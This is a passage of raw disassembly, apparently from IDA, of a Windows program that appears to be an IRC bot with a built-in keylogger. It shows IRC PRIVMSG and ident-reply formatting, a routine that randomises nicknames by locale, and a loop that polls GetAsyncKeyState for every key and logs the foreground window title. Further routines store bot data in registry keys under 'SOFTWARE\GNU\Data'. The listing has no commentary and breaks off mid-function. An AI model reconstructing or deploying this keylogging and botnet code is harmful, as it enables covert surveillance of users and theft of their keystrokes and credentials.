		call	sub_414878
		push	edi
		lea	esi, [ebp-9FCh]
		call	sub_414A1F
		mov	eax, [ebp-10h]
		lea	esi, [eax+470h]
		add	eax, 1C2h
		push	eax
		push	esi
		call	sub_414B68
		movzx	eax, ax
		push	eax
		push	esi
		call	sub_414BCD
		movzx	eax, ax
		push	eax
		push	offset aDDUseridUnixS ;	"%d, %d	: USERID : UNIX	: %s"
		lea	edi, [ebp-9FCh]
		call	sub_414CA6
		add	esp, 10h
		push	3
		mov	eax, edi
		call	sub_414D44
		mov	eax, [ebp-28h]
		push	3
		call	sub_414D44
		and	dword ptr [ebp-3Ch], 0
		jmp	loc_4082AE
; ---------------------------------------------------------------------------

loc_408900:				; CODE XREF: .text:00408541j
		push	edi
		call	sub_41C350
		pop	ecx
		add	ebx, eax
		push	ebx
		call	sub_408A6A

loc_40890F:				; CODE XREF: .text:00408267j
					; .text:0040880Bj ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-44h]
		call	sub_405EDB
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40892A	proc near		; CODE XREF: sub_40805D+C5p
					; sub_40805D+D3p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	[esp+8+arg_0]
		push	edi
		call	sub_41C930
		push	edi
		xor	ebp, ebp
		xor	ebx, ebx
		call	sub_41C350
		add	esp, 0Ch
		test	eax, eax
		jbe	loc_4089ED
		push	esi

loc_40894C:				; CODE XREF: sub_40892A+BCj
		lea	esi, [ebx+edi]
		movsx	eax, byte ptr [esi]
		sub	eax, 23h
		jz	short loc_4089CF
		sub	eax, 3
		jz	loc_408A00
		sub	eax, 4
		jz	short loc_4089BB
		dec	eax
		jz	short loc_4089AD
		sub	eax, 11h
		jz	loc_4089FA
		dec	eax
		dec	eax
		jz	short loc_4089F4
		sub	eax, 40h
		jnz	short loc_4089DC
		push	4
		push	ebp
		call	sub_40D864
		sub	eax, ebp
		pop	ecx
		pop	ecx
		jz	short loc_4089A8
		dec	eax
		jz	short loc_4089A3
		dec	eax
		jz	short loc_40899E
		dec	eax
		jz	short loc_408999
		dec	eax
		jnz	short loc_4089DC
		mov	byte ptr [esi],	75h
		jmp	short loc_4089DC
; ---------------------------------------------------------------------------

loc_408999:				; CODE XREF: sub_40892A+65j
		mov	byte ptr [esi],	6Fh
		jmp	short loc_4089DC
; ---------------------------------------------------------------------------

loc_40899E:				; CODE XREF: sub_40892A+62j
		mov	byte ptr [esi],	69h
		jmp	short loc_4089DC
; ---------------------------------------------------------------------------

loc_4089A3:				; CODE XREF: sub_40892A+5Fj
		mov	byte ptr [esi],	65h
		jmp	short loc_4089DC
; ---------------------------------------------------------------------------

loc_4089A8:				; CODE XREF: sub_40892A+5Cj
		mov	byte ptr [esi],	61h
		jmp	short loc_4089DC
; ---------------------------------------------------------------------------

loc_4089AD:				; CODE XREF: sub_40892A+3Cj
		push	1
		push	ebp
		call	sub_40D864
		pop	ecx
		pop	ecx
		sub	eax, ebp
		jmp	short loc_4089CA
; ---------------------------------------------------------------------------

loc_4089BB:				; CODE XREF: sub_40892A+39j
		push	2
		push	ebp
		call	sub_40D864
		sub	eax, ebp
		pop	ecx
		pop	ecx
		jz	short loc_4089FA
		dec	eax

loc_4089CA:				; CODE XREF: sub_40892A+8Fj
		jz	short loc_4089F4
		dec	eax
		jnz	short loc_4089DC

loc_4089CF:				; CODE XREF: sub_40892A+2Bj
		push	39h
		push	30h

loc_4089D3:				; CODE XREF: sub_40892A+CEj
					; sub_40892A+D4j
		call	sub_40D864
		pop	ecx
		pop	ecx
		mov	[esi], al

loc_4089DC:				; CODE XREF: sub_40892A+4Ej
					; sub_40892A+68j ...
		push	edi
		inc	ebx
		call	sub_41C350
		cmp	ebx, eax
		pop	ecx
		jb	loc_40894C
		pop	esi

loc_4089ED:				; CODE XREF: sub_40892A+1Bj
		pop	ebp
		mov	eax, edi
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------

loc_4089F4:				; CODE XREF: sub_40892A+49j
					; sub_40892A:loc_4089CAj
		push	5Ah
		push	41h
		jmp	short loc_4089D3
; ---------------------------------------------------------------------------

loc_4089FA:				; CODE XREF: sub_40892A+41j
					; sub_40892A+9Dj
		push	7Ah
		push	61h
		jmp	short loc_4089D3
; ---------------------------------------------------------------------------

loc_408A00:				; CODE XREF: sub_40892A+30j
		push	2
		lea	eax, [ebx+edi+1]
		push	offset aCn	; "cn"
		push	eax
		call	sub_41D5B0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4089DC
		push	4
		lea	eax, [esp+10h+arg_0]
		push	eax
		push	7
		push	800h
		call	ds:dword_42907C	; GetLocaleInfoA
		push	3
		lea	eax, [esp+10h+arg_0]
		push	eax
		push	esi
		call	sub_41C5A0
		add	esp, 0Ch
		jmp	short loc_4089DC
sub_40892A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408A3E	proc near		; CODE XREF: sub_407FC9+28p

arg_0		= dword	ptr  4

		cmp	dword ptr [eax+464h], 0
		jz	short locret_408A67
		push	edi
		push	[esp+4+arg_0]
		lea	ecx, [eax+362h]
		push	ecx
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r\n"
		lea	edi, [eax+470h]
		call	sub_414CA6
		add	esp, 0Ch
		pop	edi

locret_408A67:				; CODE XREF: sub_408A3E+7j
		retn	4
sub_408A3E	endp


; =============== S U B	R O U T	I N E =======================================



sub_408A6A	proc near		; CODE XREF: sub_408012+29p
					; .text:0040890Ap

arg_0		= dword	ptr  4

		push	edi
		push	[esp+4+arg_0]
		lea	edi, [esi+470h]
		push	offset dword_430248
		call	sub_414CA6
		pop	ecx
		pop	ecx
		mov	dword ptr [esi+1Ch], 1
		pop	edi
		retn	4
sub_408A6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408A8C	proc near		; CODE XREF: .text:00408281p
					; .text:00408864p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	ebx, eax
		push	edi
		xor	eax, eax
		xor	edi, edi
		mov	[ebx+14h], eax
		mov	[ebx+18h], eax
		mov	[ebx+10h], eax
		lea	esi, [ebx+470h]
		inc	edi
		push	edi
		mov	eax, esi
		call	sub_414D44
		mov	ecx, edi
		mov	eax, esi
		call	sub_4148AA
		push	[esp+0Ch+arg_0]
		call	sub_41484D
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_408AE8
		push	[esp+0Ch+arg_0]
		mov	eax, [esp+10h+arg_4]
		mov	ecx, esi
		call	sub_414A81
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408AE8
		push	23h
		mov	[ebx+14h], edi
		pop	ebx
		call	sub_414AE0
		mov	eax, edi
		jmp	short loc_408AEA
; ---------------------------------------------------------------------------

loc_408AE8:				; CODE XREF: sub_408A8C+37j
					; sub_408A8C+4Bj
		xor	eax, eax

loc_408AEA:				; CODE XREF: sub_408A8C+5Aj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_408A8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_408AF0	proc near		; CODE XREF: sub_4280CC-20E2Bp
					; sub_4280CC-20E11p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_408AFA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_408AFA:				; CODE XREF: sub_408AF0+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		sar	eax, 2
		retn
sub_408AF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_408B03	proc near		; CODE XREF: sub_407DB9+45p
					; sub_407F83+2Fp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		lea	eax, [edi+4]
		push	edi
		push	eax
		mov	eax, [esi+8]
		call	sub_414283
		add	dword ptr [esi+8], 0FFFFFFFCh
		pop	ecx
		pop	ecx
		mov	[ebx], edi
		mov	eax, ebx
		pop	edi
		retn	4
sub_408B03	endp


; =============== S U B	R O U T	I N E =======================================



sub_408B23	proc near		; CODE XREF: sub_4142D6+410p
		push	esi
		mov	esi, eax
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	dword ptr [esi], offset	off_430378
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn
sub_408B23	endp


; =============== S U B	R O U T	I N E =======================================



sub_408B3D	proc near		; DATA XREF: .text:0042A9C8o
					; .text:0042FED0o ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_40E07F
		test	[esp+4+arg_0], 1
		jz	short loc_408B53
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_408B53:				; CODE XREF: sub_408B3D+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_408B3D	endp

; ---------------------------------------------------------------------------

loc_408B59:				; DATA XREF: .text:off_430378o
		mov	eax, offset loc_427A6D
		call	sub_41E550
		sub	esp, 314h
		or	dword ptr [ebp-10h], 0FFFFFFFFh
		and	dword ptr [ebp-18h], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, ds:dword_4291F4
		call	edi	; GetForegroundWindow
		mov	[ebp-1Ch], eax
		call	sub_404AA9
		push	eax
		call	ds:dword_429110	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	ebx, 100h
		mov	[ebp-20h], ecx

loc_408B9B:				; CODE XREF: .text:00408CB2j
		xor	esi, esi

loc_408B9D:				; CODE XREF: .text:00408BB5j
		push	esi
		call	ds:dword_429234	; GetAsyncKeyState
		mov	[ebp+esi*2-320h], ax
		movsx	eax, ax
		add	[ebp-18h], eax
		inc	esi
		cmp	esi, ebx
		jb	short loc_408B9D
		mov	eax, [ebp-10h]
		cmp	eax, [ebp-18h]
		jz	loc_408CA4
		and	dword ptr [ebp-10h], 0

loc_408BC7:				; CODE XREF: .text:00408C9Ej
		mov	eax, [ebp-10h]
		cmp	word ptr [ebp+eax*2-320h], 8001h
		jnz	loc_408C94
		call	sub_404AA9
		push	eax
		lea	esi, [ebp-14h]
		call	sub_405C95
		xor	esi, esi
		lea	eax, [ebp-14h]
		mov	[ebp-4], esi
		call	sub_405DAF
		test	byte ptr [ebp-2FFh], 80h
		jz	short loc_408BFF
		inc	esi

loc_408BFF:				; CODE XREF: .text:00408BFCj
		test	byte ptr [ebp-2F7h], 80h
		jz	short loc_408C0B
		xor	esi, 1

loc_408C0B:				; CODE XREF: .text:00408C06j
		cmp	byte ptr [ebp-10h], 0DFh
		jnb	short loc_408C88
		cmp	byte ptr [ebp-10h], 7
		jbe	short loc_408C88
		call	edi	; GetForegroundWindow
		cmp	eax, [ebp-1Ch]
		jz	short loc_408C69
		push	ebx
		lea	eax, [ebp-120h]
		push	eax
		call	edi	; GetForegroundWindow
		push	eax
		call	ds:dword_429264	; GetWindowTextA
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_408C45
		lea	eax, [ebp-14h]
		push	offset dword_430394
		push	eax
		call	sub_405D68
		pop	ecx
		pop	ecx

loc_408C45:				; CODE XREF: .text:00408C33j
		lea	eax, [ebp-120h]
		push	eax
		lea	eax, [ebp-14h]
		push	offset dword_430388
		push	eax
		call	sub_405D68
		add	esp, 0Ch
		call	edi	; GetForegroundWindow
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-20h], 1

loc_408C69:				; CODE XREF: .text:00408C1Cj
		movzx	eax, byte ptr [ebp-10h]
		lea	eax, [esi+eax*2]
		push	ds:off_434AE0[eax*4]
		lea	eax, [ebp-14h]
		push	offset dword_430384
		push	eax
		call	sub_405D68
		add	esp, 0Ch

loc_408C88:				; CODE XREF: .text:00408C0Fj
					; .text:00408C15j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	esi, [ebp-14h]
		call	sub_405CF2

loc_408C94:				; CODE XREF: .text:00408BD4j
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 0DFh
		jb	loc_408BC7

loc_408CA4:				; CODE XREF: .text:00408BBDj
		mov	eax, [ebp-18h]
		push	19h
		mov	[ebp-10h], eax
		call	ds:dword_429084	; Sleep
		jmp	loc_408B9B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_408CB7	proc near		; CODE XREF: sub_408E9D+85p
					; sub_40B45D+94p ...

var_450		= byte ptr -450h
var_330		= byte ptr -330h
var_230		= byte ptr -230h
var_130		= byte ptr -130h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 450h
		push	ebx
		push	esi
		push	edi
		push	100h
		lea	eax, [ebp+70h+var_330]
		push	eax
		push	[ebp+70h+arg_4]
		xor	ebx, ebx
		lea	edi, [ebp+70h+var_4]
		mov	[ebp+70h+var_4], ebx
		call	sub_409454
		lea	eax, [ebp+70h+var_330]
		push	offset aNull	; "null"
		push	eax
		call	sub_41C730
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408D21
		lea	eax, [ebp+70h+var_330]
		push	eax
		lea	eax, [ebp+70h+var_130]
		push	eax
		call	sub_41C930
		mov	ax, word ptr [ebp+70h+var_4]
		pop	ecx
		pop	ecx
		mov	[ebp+70h+var_30], ax
		lea	esi, [ebp+70h+var_130]
		jmp	loc_408E8B
; ---------------------------------------------------------------------------

loc_408D21:				; CODE XREF: sub_408CB7+40j
		push	120h
		lea	eax, [ebp+70h+var_130]
		push	ebx
		push	eax
		call	sub_41C6D0
		lea	eax, [ebp+70h+var_230]
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	eax
		call	sub_41C930
		lea	eax, [ebp+70h+var_230]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		lea	eax, [ebp+70h+var_230]
		push	eax
		call	sub_41C350
		mov	ecx, 0FFh
		sub	ecx, eax
		push	ecx
		push	[ebp+70h+arg_4]
		lea	eax, [ebp+70h+var_230]
		push	eax
		call	sub_41CC80
		add	esp, 2Ch
		lea	eax, [ebp+70h+var_230]
		push	eax
		push	80000001h
		lea	eax, [ebp+70h+var_10]
		push	eax
		mov	[ebp+70h+var_C], ebx
		mov	[ebp+70h+var_8], ebx
		mov	[ebp+70h+var_10], ebx
		call	sub_40DAEF
		test	eax, eax
		jnz	loc_408E6C
		lea	eax, [ebp+70h+var_330]
		push	eax
		lea	eax, [ebp+70h+var_130]
		push	eax
		call	sub_41C930
		mov	ax, word ptr [ebp+70h+var_4]
		pop	ecx
		pop	ecx
		mov	[ebp+70h+var_30], ax
		mov	esi, offset aS_0 ; "S"
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jz	short loc_408DE0
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40DA68
		mov	[ebp+70h+var_2C], eax
		jmp	short loc_408DE3
; ---------------------------------------------------------------------------

loc_408DE0:				; CODE XREF: sub_408CB7+118j
		mov	[ebp+70h+var_2C], ebx

loc_408DE3:				; CODE XREF: sub_408CB7+127j
		mov	esi, offset dword_430468
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jz	short loc_408E05
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40DA68
		mov	[ebp+70h+var_28], eax
		jmp	short loc_408E08
; ---------------------------------------------------------------------------

loc_408E05:				; CODE XREF: sub_408CB7+13Dj
		mov	[ebp+70h+var_28], ebx

loc_408E08:				; CODE XREF: sub_408CB7+14Cj
		mov	esi, offset dword_430424
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jz	short loc_408E2A
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40DA68
		mov	[ebp+70h+var_18], eax
		jmp	short loc_408E2D
; ---------------------------------------------------------------------------

loc_408E2A:				; CODE XREF: sub_408CB7+162j
		mov	[ebp+70h+var_18], ebx

loc_408E2D:				; CODE XREF: sub_408CB7+171j
		mov	esi, offset dword_430440
		push	esi
		lea	eax, [ebp+70h+var_10]
		push	eax
		call	sub_40D93E
		test	eax, eax
		jz	short loc_408E5D
		lea	eax, [ebp+70h+var_4]
		push	eax
		lea	eax, [ebp+70h+var_20]
		push	eax
		push	ebx
		push	ebx
		push	esi
		push	[ebp+70h+var_10]
		mov	[ebp+70h+var_4], 8
		call	ds:dword_429004	; RegQueryValueExA
		jmp	short loc_408E6C
; ---------------------------------------------------------------------------

loc_408E5D:				; CODE XREF: sub_408CB7+187j
		push	8
		lea	eax, [ebp+70h+var_20]
		push	ebx
		push	eax
		call	sub_41C6D0
		add	esp, 0Ch

loc_408E6C:				; CODE XREF: sub_408CB7+E4j
					; sub_408CB7+1A4j
		push	48h
		pop	ecx
		lea	esi, [ebp+70h+var_130]
		lea	edi, [ebp+70h+var_450]
		lea	eax, [ebp+70h+var_10]
		rep movsd
		call	sub_40D8F7
		lea	esi, [ebp+70h+var_450]

loc_408E8B:				; CODE XREF: sub_408CB7+65j
		mov	eax, [ebp+70h+arg_0]
		push	48h
		pop	ecx
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 70h
		leave
		retn
sub_408CB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408E9D	proc near		; CODE XREF: sub_4027E5+2Dp
					; sub_408F53+2Ap ...

var_350		= byte ptr -350h
var_230		= byte ptr -230h
var_110		= byte ptr -110h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		push	esi
		push	edi
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	80000001h
		lea	esi, [ebp+var_10]
		mov	edi, eax
		call	sub_40D8DC
		mov	esi, 103h

loc_408EC1:				; CODE XREF: sub_408E9D+58j
					; sub_408E9D+5Ej
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	dword ptr [edi]
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_4], 100h
		call	sub_40DB1B
		cmp	eax, esi
		jnz	short loc_408EE7
		cmp	dword ptr [edi], 0
		jz	short loc_408F01

loc_408EE7:				; CODE XREF: sub_408E9D+43j
		cmp	eax, 0EAh
		jz	short loc_408EFF
		cmp	eax, esi
		jnz	short loc_408EF7
		and	dword ptr [edi], 0
		jmp	short loc_408EC1
; ---------------------------------------------------------------------------

loc_408EF7:				; CODE XREF: sub_408E9D+53j
		inc	dword ptr [edi]
		test	eax, eax
		jnz	short loc_408EC1
		jmp	short loc_408F14
; ---------------------------------------------------------------------------

loc_408EFF:				; CODE XREF: sub_408E9D+4Fj
		inc	dword ptr [edi]

loc_408F01:				; CODE XREF: sub_408E9D+48j
		lea	eax, [ebp+var_110]
		push	offset aNull	; "null"
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx

loc_408F14:				; CODE XREF: sub_408E9D+60j
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_350]
		push	eax
		call	sub_408CB7
		pop	ecx
		pop	ecx
		push	48h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_230]
		lea	eax, [ebp+var_10]
		rep movsd
		call	sub_40D8F7
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_0]
		push	48h
		pop	ecx
		lea	esi, [ebp+var_230]
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_408E9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F53	proc near		; CODE XREF: sub_4027E5+B3p
					; sub_408F96+C3p ...

var_124		= byte ptr -124h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		call	sub_409351
		dec	eax
		jns	short loc_408F66
		xor	eax, eax

loc_408F66:				; CODE XREF: sub_408F53+Fj
		push	esi
		push	edi
		push	eax
		push	0
		call	sub_40D864
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_4]
		call	sub_408E9D
		mov	edi, [ebp+arg_0]
		add	esp, 0Ch
		push	48h
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_408F53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F96	proc near		; CODE XREF: sub_402920+162p
					; .text:00408602p ...

var_AE0		= byte ptr -0AE0h
var_9C0		= byte ptr -9C0h
var_8A0		= byte ptr -8A0h
var_780		= byte ptr -780h
var_680		= byte ptr -680h
var_580		= byte ptr -580h
var_480		= byte ptr -480h
var_380		= dword	ptr -380h
var_360		= byte ptr -360h
var_260		= dword	ptr -260h
var_248		= dword	ptr -248h
var_240		= byte ptr -240h
var_120		= byte ptr -120h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0AE0h
		push	[ebp+arg_0]
		call	sub_4093AD
		test	eax, eax
		pop	ecx
		jnz	locret_4091F7
		push	ebx
		push	esi
		push	edi
		mov	ebx, 100h
		push	ebx
		lea	eax, [ebp+var_680]
		push	eax
		push	[ebp+arg_0]
		xor	esi, esi
		lea	edi, [ebp+var_18]
		mov	[ebp+var_8], esi
		call	sub_409454
		add	esp, 0Ch
		jmp	loc_4090CF
; ---------------------------------------------------------------------------

loc_408FD8:				; CODE XREF: sub_408F96+141j
		mov	[ebp+var_20], esi
		mov	[ebp+var_4], esi
		call	sub_409351
		test	eax, eax
		jbe	short loc_409048

loc_408FE7:				; CODE XREF: sub_408F96+AEj
		lea	eax, [ebp+var_8A0]
		push	eax
		lea	eax, [ebp+var_20]
		call	sub_408E9D
		pop	ecx
		push	48h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_480]
		rep movsd
		mov	eax, [ebp+var_380]
		cmp	ax, word ptr [ebp+var_18]
		jnz	short loc_409039
		push	eax
		lea	eax, [ebp+var_480]
		push	eax
		mov	eax, ebx
		lea	edi, [ebp+var_580]
		call	sub_4094D4
		mov	eax, edi
		push	eax
		call	sub_4091F9
		add	esp, 0Ch
		cmp	[ebp+var_4], 0
		jbe	short loc_409039
		dec	[ebp+var_4]

loc_409039:				; CODE XREF: sub_408F96+78j
					; sub_408F96+9Ej
		inc	[ebp+var_4]
		call	sub_409351
		cmp	[ebp+var_4], eax
		jb	short loc_408FE7
		xor	esi, esi

loc_409048:				; CODE XREF: sub_408F96+4Fj
		call	sub_409351
		cmp	eax, 64h
		jb	short loc_4090C3
		lea	eax, [ebp+var_9C0]
		push	eax
		call	sub_408F53
		and	[ebp+var_4], 0
		pop	ecx
		push	48h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_360]
		rep movsd

loc_409070:				; CODE XREF: sub_408F96+104j
		cmp	[ebp+var_248], 1
		jnz	short loc_40909C
		lea	eax, [ebp+var_AE0]
		push	eax
		call	sub_408F53
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 64h
		pop	ecx
		push	48h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_360]
		rep movsd
		jb	short loc_409070

loc_40909C:				; CODE XREF: sub_408F96+E1j
		push	[ebp+var_260]
		lea	eax, [ebp+var_360]
		push	eax
		mov	eax, ebx
		lea	edi, [ebp+var_120]
		call	sub_4094D4
		mov	eax, edi
		push	eax
		call	sub_4091F9
		add	esp, 0Ch
		xor	esi, esi

loc_4090C3:				; CODE XREF: sub_408F96+BAj
		inc	[ebp+var_8]
		cmp	[ebp+var_8], 3E8h
		ja	short loc_4090DD

loc_4090CF:				; CODE XREF: sub_408F96+3Dj
		call	sub_409351
		cmp	eax, 64h
		jnb	loc_408FD8

loc_4090DD:				; CODE XREF: sub_408F96+137j
		push	[ebp+var_18]
		lea	eax, [ebp+var_680]
		push	eax
		mov	eax, ebx
		lea	edi, [ebp+var_780]
		call	sub_4094D4
		lea	eax, [ebp+var_240]
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	eax
		call	sub_41C930
		lea	eax, [ebp+var_240]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_41C350
		mov	ecx, 0FFh
		sub	ecx, eax
		push	ecx
		mov	eax, edi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		call	sub_41CC80
		add	esp, 28h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	esi
		push	2001Fh
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+var_240]
		push	eax
		mov	edi, 80000001h
		push	edi
		mov	[ebp+var_10], esi
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		call	ds:dword_42900C	; RegCreateKeyExA
		lea	esi, [ebp+var_14]
		call	sub_40DB08
		cmp	[ebp+var_1C], 1
		jnz	short loc_4091EC
		xor	esi, esi
		push	8
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		mov	[ebp+var_38], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_28], esi
		call	sub_41C6D0
		add	esp, 0Ch
		lea	eax, [ebp+var_240]
		push	eax
		push	edi
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_40DAEF
		push	[ebp+var_3C]
		lea	eax, [ebp+var_14]
		push	offset aS_0	; "S"
		push	eax
		call	sub_40DA4A
		push	[ebp+var_38]
		lea	eax, [ebp+var_14]
		push	offset dword_430468
		push	eax
		call	sub_40DA4A
		push	[ebp+var_28]
		lea	eax, [ebp+var_14]
		push	offset dword_430424
		push	eax
		call	sub_40DA4A
		push	8
		lea	eax, [ebp+var_30]
		push	eax
		push	3
		push	esi
		push	offset dword_430440
		push	[ebp+var_14]
		call	ds:dword_429020	; RegSetValueExA

loc_4091EC:				; CODE XREF: sub_408F96+1DFj
		lea	eax, [ebp+var_14]
		call	sub_40D8F7
		pop	edi
		pop	esi
		pop	ebx

locret_4091F7:				; CODE XREF: sub_408F96+14j
		leave
		retn
sub_408F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091F9	proc near		; CODE XREF: sub_408F96+92p
					; sub_408F96+123p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		lea	eax, [ebp+var_100]
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	eax
		call	sub_41C930
		lea	eax, [ebp+var_100]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_41C350
		mov	ecx, 0FFh
		sub	ecx, eax
		push	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_100]
		push	eax
		call	sub_41CC80
		add	esp, 20h
		lea	eax, [ebp+var_100]
		push	eax
		push	80000001h
		call	ds:dword_429000	; RegDeleteKeyA
		leave
		retn
sub_4091F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40925E	proc near		; CODE XREF: sub_40B45D+BDp
					; sub_40B543+C2p ...

var_20C		= byte ptr -20Ch
var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_100		= dword	ptr  108h
arg_104		= dword	ptr  10Ch
arg_108		= dword	ptr  110h
arg_110		= byte ptr  118h
arg_118		= dword	ptr  120h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	edi
		push	[ebp+arg_100]
		lea	eax, [ebp+arg_0]
		push	eax
		mov	eax, 100h
		lea	edi, [ebp+var_20C]
		call	sub_4094D4
		lea	eax, [ebp+var_10C]
		push	offset aSoftwareGnuDat ; "SOFTWARE\\GNU\\Data"
		push	eax
		call	sub_41C930
		lea	eax, [ebp+var_10C]
		push	offset asc_42FDC4 ; "\\"
		push	eax
		call	sub_41C940
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C350
		mov	ecx, 0FFh
		sub	ecx, eax
		push	ecx
		mov	eax, edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CC80
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		and	[ebp+var_C], 0
		add	esp, 28h
		lea	eax, [ebp+var_10C]
		push	eax
		push	80000001h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40DAEF
		test	eax, eax
		pop	edi
		jnz	short loc_409347
		push	[ebp+arg_104]
		lea	eax, [ebp+var_C]
		push	offset aS_0	; "S"
		push	eax
		call	sub_40DA4A
		push	[ebp+arg_108]
		lea	eax, [ebp+var_C]
		push	offset dword_430468
		push	eax
		call	sub_40DA4A
		push	[ebp+arg_118]
		lea	eax, [ebp+var_C]
		push	offset dword_430424
		push	eax
		call	sub_40DA4A
		push	8
		lea	eax, [ebp+arg_110]
		push	eax
		push	3
		push	0
		push	offset dword_430440
		push	[ebp+var_C]
